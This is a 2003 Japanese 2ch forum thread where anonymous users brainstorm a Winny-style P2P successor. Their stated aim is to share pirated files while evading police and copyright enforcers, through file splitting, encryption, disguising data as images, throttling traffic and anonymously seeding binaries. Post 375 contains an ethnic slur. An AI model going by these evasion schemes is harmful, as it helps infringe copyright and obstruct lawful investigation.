256 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:50 ID:gOSCsuYR
C++、Delphi使えるけど('A`)マンドクセ

257 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:50 ID:FZYfmgmB
>>254
第二のインターネットに警察が介入したら一網打尽

258 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:50 ID:GuxrSiXR
とりあえず、即出の案は、
ttp://hpcgi2.nifty.com/kajiji/MultiVote/vote.cgi
 ↑アンケートとって集計してみましょう。

それである程度の機能がまとめるかと。

259 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:51 ID:FZYfmgmB
>>258
ttp://hpcgi2.nifty.com/kajiji/MultiVote/vote.cgi

260 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:51 ID:cZt7mbIJ
・ こ こ は 仕 様 を 決 め る ス レ ッ ド で す。

次期P2P法的に考察するスレ
ttp://tmp2.2ch.net/test/read.cgi/download/1070084504/l50

次期P2P要望を書くスレ
ttp://tmp2.2ch.net/test/read.cgi/download/1070085137/l50

次期P2Pの仕様
ttp://tmp2.2ch.net/test/read.cgi/download/1070086600/l50

名前を決めるスレ
ttp://tmp2.2ch.net/test/read.cgi/download/1069996070/l50


定期コピぺ
  過 去 ロ グ 読 ん で な い 奴 は
      邪 魔 だ か ら 書 く な


261 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:51 ID:LFoYQrRu
>>254
誰がインフラを提供するの?
莫大な金が掛かるし、総務省を通さないと駄目なんだよ

262 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:51 ID:xobylHKO
いっそ金正日にでも作ってもらうか

263 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:52 ID:FZYfmgmB
>>258
間違えた
ERROR- File Not Found

264 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:52 ID:+yDDK+8K
2004年死刑実行

                 l⌒)===|二二二二フ
                ∧_∧/⌒)
               (・∀・ / /
               (府警 .l’
               /  ,、 \
           __ ,,(_∧∧(_)
        〜⊂ ((⊂ (=゚ω゚)  ̄ ̄/l
          /  ̄  ̄  ̄ ̄    //
         l ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄l/
           ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄


             |
             ||l  ∧_∧
              l|ll (・∀・ )
              .l|l ヽ ∨ ノ ∧∧
         ザシュッ  l|l (./`'( ) (=。ω゚)←>>47
           ___,,_l|./ ./ ,:,'::,.;'"^^´
        〜⊂ ((⊂(::;ム'.':‥,': ̄/l
          /  ̄  ̄ ∴‥.,.':  .//
         l ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄l/


265 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:52 ID:nP0LkRXI
過去ログ読んだ結果Winnyに勝るソフトは作れないで結論

266 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:53 ID:xobylHKO
作者が北朝鮮に亡命して、あっちから更新っと。日本の警察は手出し不能

267 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:53 ID:LFoYQrRu
イースステーションは米国法が通用しない地域に鯖を置いてる
公式を見てもらえば分かるけど割れずサイトになってるよ

パレスチナ難民キャンプに鯖があるんだけどね

268 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:53 ID:ywWtdaLt
検索機能をなくすんだよ
もう何が落ちてくるか 運次第

269 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:53 ID:GuxrSiXR
>>258より。
 ttp://hpcgi2.nifty.com/kajiji/MultiVote/vote.cgi?id=asd
 アドレスこれだった。

270 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:54 ID:LFoYQrRu
>>268
正に闇鍋だな

271 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:54 ID:qee1GVMD
ダウソのためにパレスチナまでいくやつは、神どころの話じゃないな、

272 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:55 ID:qee1GVMD
>>268
方向性は違うがそういうのもあってもいいよな〜

273 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:55 ID:Ji3eZPM1
ny上で偽装の技術を磨いていくというのも一つの手段だろうな・・・

274 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:55 ID:hQ0mg3cr




だから、アホばっかが投票しても全く無意味だということに気づけ。





275 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:56 ID:xobylHKO


そしてWinnyは今日も大繁盛なのでした・・  チャンチャン




276 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:57 ID:gOSCsuYR
無意味な改行、無意味な空白うざい

277 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:58 ID:FZYfmgmB
nyと互換性がある新型キボンヌ

278 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:58 ID:LFoYQrRu
Passwords / Cracks / Serial Numbers & Generators

こんなトピがある公式サイトなんて他にないよ

279 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:58 ID:hQ0mg3cr
vote>仮想ディスクを使用

どうしようもありませんねおまいらは

280 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:58 ID:Qz6XXlXY
>277
ny経由でKが来るよ

281 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:59 ID:ywWtdaLt
団体のIP(リモホ?)を規制する
個人パソからしか利用出来ないようにする

282 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:59 ID:qee1GVMD
烏合の衆がない頭ひねって考えてんだからしょうがないだろ!

283 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:59 ID:xobylHKO
言うは易く行うは難し

284 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:59 ID:a2ysu46C
この速さなら言える・・・

おまいらファイルの共有が目的だよな?
違法行為をすることが目的でないなら、ACCSより先に著作権侵害の被害総額を検討して、
それの具体的な補償方法(例えばスポンサーを募るとか)を考えるべきでは。
もしくは皆で署名して陳情書か意見書を出して、著作権法そのものを変えるとか、そういう流れも検討しませう。

・・・ま、現行の法的権力の不整備をつくのもいたちごっこってこった。
気持ちよくP2Pが使える世の中を作ろう。

285 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:00 ID:hQ0mg3cr
> 項目を増やす事ができます。(最高3個まで)
ワロタ

286 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:00 ID:/rZxocO0
>>232
じゃあ、みんなで違法行為をやめてACCSを潰してしまおう!!

287 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:01 ID:xobylHKO
>>286
友達同士のソフトの貸し借りとか、いくらでも弾糾する場所はあるよ

288 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:01 ID:GuxrSiXR
>>281
そんなことはSafenyあたりを使えばできるから
 今すぐ必要でないと思われ。
 
 kも個人になりゆることを忘れるな。
 
 LANを10台以上構築してたら起動できないようにするとかどう?
 まあ、根本的にkからの接続できないようにするなんて無理だ。

289 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:02 ID:OSjyZqJz
>>288
>  LANを10台以上構築してたら起動できないようにするとかどう?

そんなの、どうやって検出するの?

290 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:02 ID:LFoYQrRu
ACCAよりRIAAの方が怖いよ
洋楽を共有した場合の話だけど
1曲辺り最大15万ドルの罰金

291 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:02 ID:JHj6GvVb


292 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:03 ID:P8Ul8f8W
既存のインフラに依存しない無線P2Pネットワークを皆で作ろう!

293 名前:Jony ◆l.La2J.vTg 投稿日:03/11/29 17:03 ID:xwaGcwlR
今日の課題

昨日は、ブロックを持つノードは、自分が何を持っているかすら分からない仕組みを考えたが、
それでは、一体どうやってファイル検索をするのか。
それぞれのノードはどうやって自分が持っているファイルの情報を他ノードに公開するのか。

それを考えてみたい。

294 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:04 ID:GuxrSiXR
>>289
とりあえず、ARP要求して、
 Macアドレスを取得する。
 10個以上なら10台あると見なす。

295 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:04 ID:LFoYQrRu
>>292
誰が中継地点を作るの?
強力な電波をだしたら文部科学省管轄の電波管理局が飛んでくるよ

296 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:04 ID:/rZxocO0
CD−Rをバケツでリレーするといいと思います。

297 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:06 ID:OSjyZqJz
>>294
細かいセグメントに分けられてたらどうしますか?

298 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:06 ID:9/AMiLZf
回覧か、なつかしいな

299 名前:前スレ703 投稿日:03/11/29 17:06 ID:aNs+u85h
とりあえずLANで転送の実験しています
配布については房避けのためコンパイル済みは配布しません
ソースのみですのでそれぞれ使用する人がコンパイルして
実行するようにしてください。
もちろんソフト名もつけていません
もし、コンパイル済みの実行ファイルが出回る様子で
あれば開発中止します。

300 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:06 ID:FZYfmgmB
>>299
開発環境何?

301 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:06 ID:JTMavMuY
>>293
検索方法な。
でも昨日と相反するものだと思う。
少し考えて見ます。
nyの場合はファイルの
ファイル名
サイズ
ハッシュなどの点からキーを作り出して考察してるんだよな。



302 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:06 ID:d6C8xjL4
ssl経由のファイル交換ソフトって作れないかな?
https経由すればK察でも突き止められないような気がするのだが。
無理だろうなぁ〜

303 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:07 ID:OSjyZqJz
ソースが出回るんなら、fork し放題で元作者なんていらなくなるわけだが。

304 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:07 ID:65BUTccq
>>290
すまん、、、俺の目が悪いかもしれんがもう一度自分が書いた
文章をよんでくれ・・・・

305 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:07 ID:GuxrSiXR
180万人で1000円ずつカンパして、
 金を集め、P2P専用回線を勝手に引く。
 
 実現できれば最強?

306 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:07 ID:FZYfmgmB
ソースが出回ったら大変なことに・・・・

307 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:08 ID:LFoYQrRu
>>304
誤字に気付かない自分の落ち度でした

308 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:09 ID:xobylHKO
>>305
そんならそのカンパを逮捕された奴に上げた方がよくね?
賠償金にあててもらう。
わずかの逮捕は必要悪と割り切って


309 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:09 ID:LFoYQrRu
衛星中継だと位置特定できるな

310 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:09 ID:J1TPo+wN
なんにせよ、広く一般に広まらないような工夫が必要だね。

311 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:10 ID:GuxrSiXR
>>306
 確かに…そうだなー。
 どーせバイナリが配布されだすことに変わりないし、
 そうでなくとも、ご丁寧なやり方が公開される。


312 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:10 ID:OSjyZqJz
一般に広まらないなら、MX なり ftp なり閉鎖的にやってればいいわけだが。

313 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:11 ID:OSjyZqJz
ソースコードが公開できないような物なら、結局 ny みたいになるだろうね。

314 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:11 ID:n/nasaD5
全くの素人考えだけど
携帯と組み合わせて何か出来ないものか?
無理か?

315 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:12 ID:nF31P9ES
>>313 根拠は

316 名前:S2400 ◆UEEVKPOKqs 投稿日:03/11/29 17:12 ID:iZ0yo0bO
>>293
分割したファイルそれぞれに元ファイルのハッシュとファイル名を
検索用に入れておく。
ファイル名で検索。
元ハッシュのリクエストを出すと、該当したファイルが返される。
でどう?

317 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:12 ID:LFoYQrRu
昔のWEB割れみたいに徹底的に偽装する事も必要だね

318 名前:前スレ703 投稿日:03/11/29 17:13 ID:aNs+u85h
>>300
C++です
とりあえずノードキャッシュと転送キャッシュの暗号化と
可逆性断片化のアルゴリズムはバイナリLIBで提供します。
フロントエンド他はサンプルをソースで配布します。
いまのところ、Windowsマシンでしか実験していません

319 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:13 ID:LFoYQrRu
>>314
居場所を特定できるよ
しかもH"じゃないとパケ代で死にます

320 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:13 ID:1vqjydm4
>>299
参加者が少なくなりすぎると共有のうまみも減るわけだが。

321 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:14 ID:rF+Pid6S
ACCSあたりはもうここを見て対策を練っているだろうし、
ここでの情報公開はある程度制限したほうがいいような。

322 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:14 ID:kc6jffXc
>>302
それ自体は簡単にできる。
だがそんなことを今は問題にしていない。

323 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:14 ID:Srg2PC/8
>>317
ファイルを分割、画像に変換して共有するんですか

324 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:16 ID:LFoYQrRu
>>323
PNGファイルだと結合は簡単だけど・・・
ゴミもくっ付けてひたすら試行錯誤しないと結合も出来ないようにね

325 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:16 ID:QrA0VU2Z
ここの人たちの技術力でOSできそうだなぁ


326 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:16 ID:JHj6GvVb
Winny,WinMXのソースが欲しい

327 名前:前スレ703 投稿日:03/11/29 17:16 ID:aNs+u85h
>>320
とりあえず敷居の高いものにしておかなければ
nyのごとく一般人が起動させてしまうので
言語レベルで動作の理解できる人たちで実験ですね
VPNの設定もありますし・・・・
そういばVPNに関してはba800proで実験しています
ipsec等が動作しないとダメです。

328 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:17 ID:Pb79miPU
>>325
モチベーションはすでに陰りを見せている
技術力を見せた人間は一人もいない

さて、どうしよう。

329 名前:MACオ夕 投稿日:03/11/29 17:17 ID:rXj/yljs
今度わMACでも動くようにして欲しいでペニス

330 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:17 ID:nF31P9ES
この板ではノイズが多すぎてマトモに議論できない
スレ分けてもこのザマだからな

331 名前:前スレ703 投稿日:03/11/29 17:18 ID:aNs+u85h
>>327
800pro ×
8000pro ○

332 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:18 ID:K583Js7M
174 名前: [名無し]さん(bin+cue).rar 投稿日: 03/11/29 17:06 ID:fotTqRGj
いっそのことファイル共有のみにこだわるから、
潰されるとか、違法とか((;゚Д゚)ガクガクブルブル なわけで、

P2Pで新しい匿名も可能なWebを作ってみてはどうだろうか?
BBSができるのだから、htmlもいけるかもと思ったのだが。

つまり、2chで、P2Pの標準規格を作っちまうんダス

                            って無理かな・・・。

333 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:18 ID:rF+Pid6S
>>317
それ聞いて思ったんだが、分割ファイルを共有して後は各自結合するようにすれば
一カ所に完全なキャッシュは残らないな。
ソフトの方で、例えば256KB以上のファイルは共有できないようにして
表向きはペットの写真を共有するソフトと銘打っておくとか。

334 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:19 ID:JTMavMuY
>>318
言語ではなく環境おしえていただけませんか?
コンパイルできるかどうかがかかっているので。


335 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:20 ID:BYKwRf1f
・配布方法を難しくすればするほど、解説サイトや雑誌が取り上げる。
・ソフト名が無くてもいずれ勝手に通称ができる。それを元に解説、説明を行う。
・卑猥な言葉にしても、放送する際は一般的な名称で代替される。
・罰則として、それを行えば皆が不利益を被るようなものにすれば、行うものは減るが
100%はありえない。馬鹿はどこにでもいる。
・禁止された行為を行う愉快犯、阻止者が表れる可能性がある。
・良心に任せた罰則というインセンティブを持ってしても元々が違法性に準拠し、
 その根源にあるものが利便性、楽さであるので、モラルに期待しても無駄である。


336 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:20 ID:LFoYQrRu
企業が参加してるP2P事業
ttp://216.239.41.104/search?q=cache:Y-vnobx_AOgJ:www.ipa.go.jp/SPC/report/02fy-pro/report/1512/paper.pdf+%E5%8C%BF%E5%90%8D%E3%80%80P2P%E5%AE%8C%E7%92%A7&hl=ja&ie=UTF-8

337 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:20 ID:GuxrSiXR
親 マジウゼーーーーーーー!!!!!
 
 

338 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:20 ID:RHx+qTm9
とりあえず製作者は、ばれたら自害する気でつくるべし

339 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:20 ID:QrA0VU2Z
PC初心者が使用無理なように設定メチャ難しくとか

340 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:20 ID:xwaGcwlR
>>301
よろしくおねがいしまつ。

>>316
つまり、そのブロックが何のファイルの一部であるか分かってしまうと……。
それはマズいでしょう。

とりあえず、ブロックを結合したのち、全体のハッシュを計測して、
そのハッシュがリクエストされたらキーを送るようにすると、
全体を持たずにキーだけを要求することができなくなると思いますた。

341 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:21 ID:FZYfmgmB
>>334
知識があればどのような環境でもソースが読めればコンパイルできると違わん?
そのソフト専用のヘッダとか使われたら終わりやけど

342 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:21 ID:e8MIGzc8
分割ファイル自体のハッシュも入れておけば?
整合性を確認すれば分割ファイルを受け取った時点でUPノードになれるじゃん。
ファイル名はどうなんだろう。
入れないほうが良くない?
それだけで中継ノードにとってはリスク要因になる気がする。
ファイル共有リンクと検索リンクは完全に分離して、
ファイル名と完全ファイルハッシュの対応付けは検索リンクのみで行うようにするってのはどう?
nyにそっくりだなw

343 名前:S2400 ◆UEEVKPOKqs 投稿日:03/11/29 17:22 ID:iZ0yo0bO
>>334
MacのOSいくつよ?

344 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:23 ID:LFoYQrRu
>>333
すぐには結合できない形にしないと
単純な埋め込みファイルは意味無いからね
ヘッダを抜き出して元のヘッダを破壊して抜き出したヘッダを偽装して
ヘッダを破壊したファイルも暗号化&偽装して分割ファイルにすると

345 名前:S2400 ◆UEEVKPOKqs 投稿日:03/11/29 17:23 ID:iZ0yo0bO
>>342
目的のファイルを検索するのをどうするかという問題が出てこないか

346 名前: ◆Cha/YIurjE 投稿日:03/11/29 17:23 ID:MGnCC2d2
・こ こ は 仕 様 を 決 め る ス レ ッ ド で す。 (定期コピペ推奨)

次期P2P法的に考察するスレ
ttp://tmp2.2ch.net/test/read.cgi/download/1070084504/l50

次期P2P要望を書くスレ
ttp://tmp2.2ch.net/test/read.cgi/download/1070085137/l50

次期P2Pの仕様
ttp://tmp2.2ch.net/test/read.cgi/download/1070086600/l50

名前を決めるスレ
ttp://tmp2.2ch.net/test/read.cgi/download/1069996070/l50

やっぱり冷えるね・・・。
      ∬∬∬∬∬∬∬∬∬∬∬∬∬∬∬
( ´・ω・`)_且mx且且ny且且割且47且K且桜ny

347 名前:前スレ703 投稿日:03/11/29 17:24 ID:aNs+u85h
>>334
特に環境は定めていませんがただいま実験の環境ですと

OS Windows2000
コンパイラ等 MSDN

メモリ128MB
CPUセレロン1GHz

似たような環境で4台実験中です。

他になにか条件が必要でしょうか?

348 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:24 ID:ED/IjBni
さくらタンがあるよ!

349 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:27 ID:nF31P9ES
sage進行でやれよ

350 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:27 ID:e8MIGzc8
>>345
目的のファイルはファイル名で検索。
これは検索リンクを使用。
んで、対応するハッシュを見つけてそれをダウソ要求。
初めからハッシュを知ってる場合それでそのままダウソ要求キーを流す。
ひたすらUPノード、ダウソノードがキーを流す形になる。

351 名前:前スレ703 投稿日:03/11/29 17:27 ID:aNs+u85h
配布については今晩NNTPで行います
alt.binary.network
あたりでISH化して分割で流しますので
興味のある方はどーぞ
一応703としてヘッダいれておきますので、目印にしてください。

352 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:28 ID:xwaGcwlR
>>342
どっちにしろ、自分が持っているファイルが何であるかを保持する必要はありますからね。
前に出た意見として、メモリに入れておいたらどう? というものがあります。
キーをメモリに保存しておくと、もしもの場合は電源を落とすことで回避可能ですが。

353 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:28 ID:nF31P9ES
だからsageろと

354 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:28 ID:JTMavMuY
>>340
出かける前に確認しておきたいのですが
そのブロックとかキーとか結合情報とか言うのはSHAのハッシュで確認するとか言う奴ですか?
キーと結合情報にSHA-1のハッシュ値をもたせブロックと結合情報にSHA-512のハッシュ値をそれぞれ持たせるというものですか?

355 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:28 ID:ED/IjBni
だからageろと

356 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:29 ID:GuxrSiXR
>>351
了解しました。
 
 俺は sage進行でやってますよ。
 間違ってもageるな

357 名前:前スレ703 投稿日:03/11/29 17:30 ID:aNs+u85h
スマソ
いまからread.meとコーディングします。

358 名前:S2400 ◆UEEVKPOKqs 投稿日:03/11/29 17:31 ID:iZ0yo0bO
>>350
そうすると、良くわからないけど
検索リンクから足がついたりしないかな
んー難しい

359 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:31 ID:xwaGcwlR
>>354
基本的にそうですが、
確定しているわけではありません。
むしろ、よりよい方法があれば大歓迎です。

360 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:31 ID:e8MIGzc8
>>352
自分が持ってるファイルが何であるかを知ってるのは最初に放流するノードだけで良いと思う。

361 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:32 ID:LFoYQrRu
これくらい挑戦的だとね

米Groksterのプレジデント、Wayne Rossoは、「RIAAの脅しは、今のところ影響はない」、と語る。「実際のところ、誰も気にかけちゃいない。
Groksterのダウンロード数は増加しているし、トラフィックにも変化がない。大体、6000万人もいるユーザーを訴えるなんて、現実味がなさすぎる」

362 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:32 ID:JTMavMuY
>>359
了解
ちょっとでかけてきます

363 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:33 ID:5hg2g5dK
EOLで連想出来る言葉って何がある??

364 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:33 ID:Eynk59Rn
>>128
もちろん「任意で」提出に応じたのです。
断ったらベランダたんの不法改造ハァハァか何かで逮捕されるだけですが。

365 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:34 ID:6VpNTn3h
>>361
winnyを英語化してMXとかでばら撒けばそれくらい出来そうだな。

366 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:34 ID:xwaGcwlR
>>360
それだと、検索するときやキーが必要になると、
最初に放流したノードにアクセスしないといかんわけで、
そういうわけにもいかないような……。

367 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:34 ID:fGVOv1DC
大量に上りトラフィックが発生するのを何とかしないとダメだろ。
どんなに工夫しようが、大量の上りトラフィックを発生させているIPが怪しいのは一目瞭然。
上りトラフィックを抑えたいISPと、取り締まりたいKの利害が一致するから、
調査となったらすぐにIPがISPからKにわたるだろう。
逆に言えば、転送効率は悪いがhttpリクエスト程度の量に押さえ込めば。



368 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:37 ID:LFoYQrRu
中継は2Kまでとかさ
50人くらい居たら100Kだよ
多少遅いのはどうにでもなる筈

369 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:38 ID:/0opRRWo
今回僕たちが学んだ事は警察は扇の要つまり一極に集中した所を突いてくるという事
じゃないかな?つまりファイル共有プログラムの作者も暗号化(身元の痕跡を消す)して
複数名に分散したほうがいいと思った。家宅捜索されれば全く社会的に損失が無いとは
言い切れないし。そこで基本はオープンソースで複数名、暗号化複合化のブラックBOX
部分をクローズソースで1名、このBOX部分の一次配布は完全に名刺サイズのCDとか
に焼いて(指紋が残らないように)周りに監視カメラの無い場所に隠して、2ちゃんねらー
が探すというぐらいの用心深さがあったほうがいいかも。2次配布は見つけた人が
nyで配布とか。映画ウィンド・トーカーズにインディアン語を元に作った暗号を頭に
叩きこんだ通信兵をヒッシに守り抜いてたのを思い出した。

370 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:39 ID:xwaGcwlR
>>367
混む(であろう)時間帯にはアップを抑えるとか?

371 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:39 ID:LFoYQrRu
>>365
巨大なネットワークになるだろうね
FastTrackを超えるかもしれない

372 名前:S2400 ◆UEEVKPOKqs 投稿日:03/11/29 17:41 ID:iZ0yo0bO
>>370
とにかくマターリが基本だな

373 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:41 ID:U6LxbDhN
│     _、_
│ ヽ(*,_ノ`)ノ 残念
│へノ   /   それは私のおいなりさんだ
└→ω ノ
    ↑ >
┌─┘



374 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:41 ID:N1PPRcP6
初心者が導入しにくくする

一人当たりの帯域を少なくする
は矛盾していないでしょうか?

375 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:43 ID:0bkL/qHc
対応OS Win2000、XPのみ
共有サイズ 2Gオーバー対応
ポート0接続不可
日本語OS以外で起動不可(チョソ弾くのマンドクセーので)

これらの対応おながいします

376 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:43 ID:Eynk59Rn
>>303
そのほうがいいじゃん
元作者のPC押収してもどうしようもない

377 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:43 ID:LFoYQrRu
>>374
厨は絶対に減ると
我慢強くKaZaAやeMuleを使い続けられる厨は居ないって
少なくともこの日本にはね

378 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:44 ID:e8MIGzc8
>>358
検索リンクは基本的にダウソノードがキーを流し続ける。
ファイル保持ノードはそれを受け取った後、ダウソノードに分割してUP。
ダウソ要求ノードが1つじゃキーを受け取ってもUP開始しない。
複数集まったら分割して別ブロックをそれぞれ転送。
ダウソ要求ノードも他の同一ファイルダウソ要求ノードからの要求を保持する。
で、ダウソ要求ノード同士でブロックを補完し合う。
これで完全ファイル保持してるUPノードを隠蔽できない?
BitTorrentに検索リンクとノード情報を足して、効率よりも匿名性の向上に比重を置いたような
ものが理想的だと思ってるんだけど。
ただ人気の無いファイルは全然落とせなくなる。

379 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:46 ID:LFoYQrRu
>>378
人気の無いファイルがなかなか落ちないのは仕方が無いと思うな
torrentに限らずeMuleやKaZaAでも人気の無いファイルは落ちにくいし

380 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:46 ID:xwaGcwlR
>>378
人気の無いファイルは落とせなくなる方がよいと思う。
捏造を弾くためにも。

381 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:47 ID:6VpNTn3h
>>371
どうだろう、オレにはスキルが無いから出来ないけど実行して全世界何千万ものユーザーに
膨れ上がれば取り締まる側もお手上げになるのでは?w
検索ファイル数も増えて一石二鳥。
新しいソフトを開発せずともゴリ押し的な打開策。
「赤信号全人類で渡れば怖くない作戦」
但し逮捕率が0になったわけではない。

なんてね。

382 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:48 ID:6VpNTn3h
>>381
付け加えると全世界規模のBBSも楽しそうだし。

383 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:49 ID:kc6jffXc
>>381
結局そういう方向性にいくんだろうなぁ

384 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:49 ID:e8MIGzc8
>>379
なかなか落とせないどころか全く落とせなくなると思う。

>>380
とても人気があるファイル以外は殆ど期待できないかと。

385 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:51 ID:LFoYQrRu
>>381
ただ見せしめはあると思うね
海外でも実際に見せしめで逮捕なんていう実例もあるし

386 名前:S2400 ◆UEEVKPOKqs 投稿日:03/11/29 17:51 ID:iZ0yo0bO
>>378
なるほど。納得。
人気の無いファイルはいいけど、職人さんがうpしてから
落とせるまで多少時間がかかるね。
でも、これは問題ないんじゃないかな。マターリとね

387 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:52 ID:Tq+J9XfR
>>381
駄目、駄目。世界には、Winny以上のP2Pソフトが沢山ある。

388 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:53 ID:LFoYQrRu
WINNYの現在のネットワークに一工夫しないとねえ
とりあえずNYやMX以外のTOOLを使った事のある人なら分かるけど
マジで辛抱強くなるよ

389 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:54 ID:DsKl0/dT
とりあえず、前スレ703氏に期待するか。

390 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:54 ID:dWvJoSuk
マイナージャンルに関しては、
クラスタリング機能が肝になってくるだろうね。

391 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:54 ID:SBQRTxHK
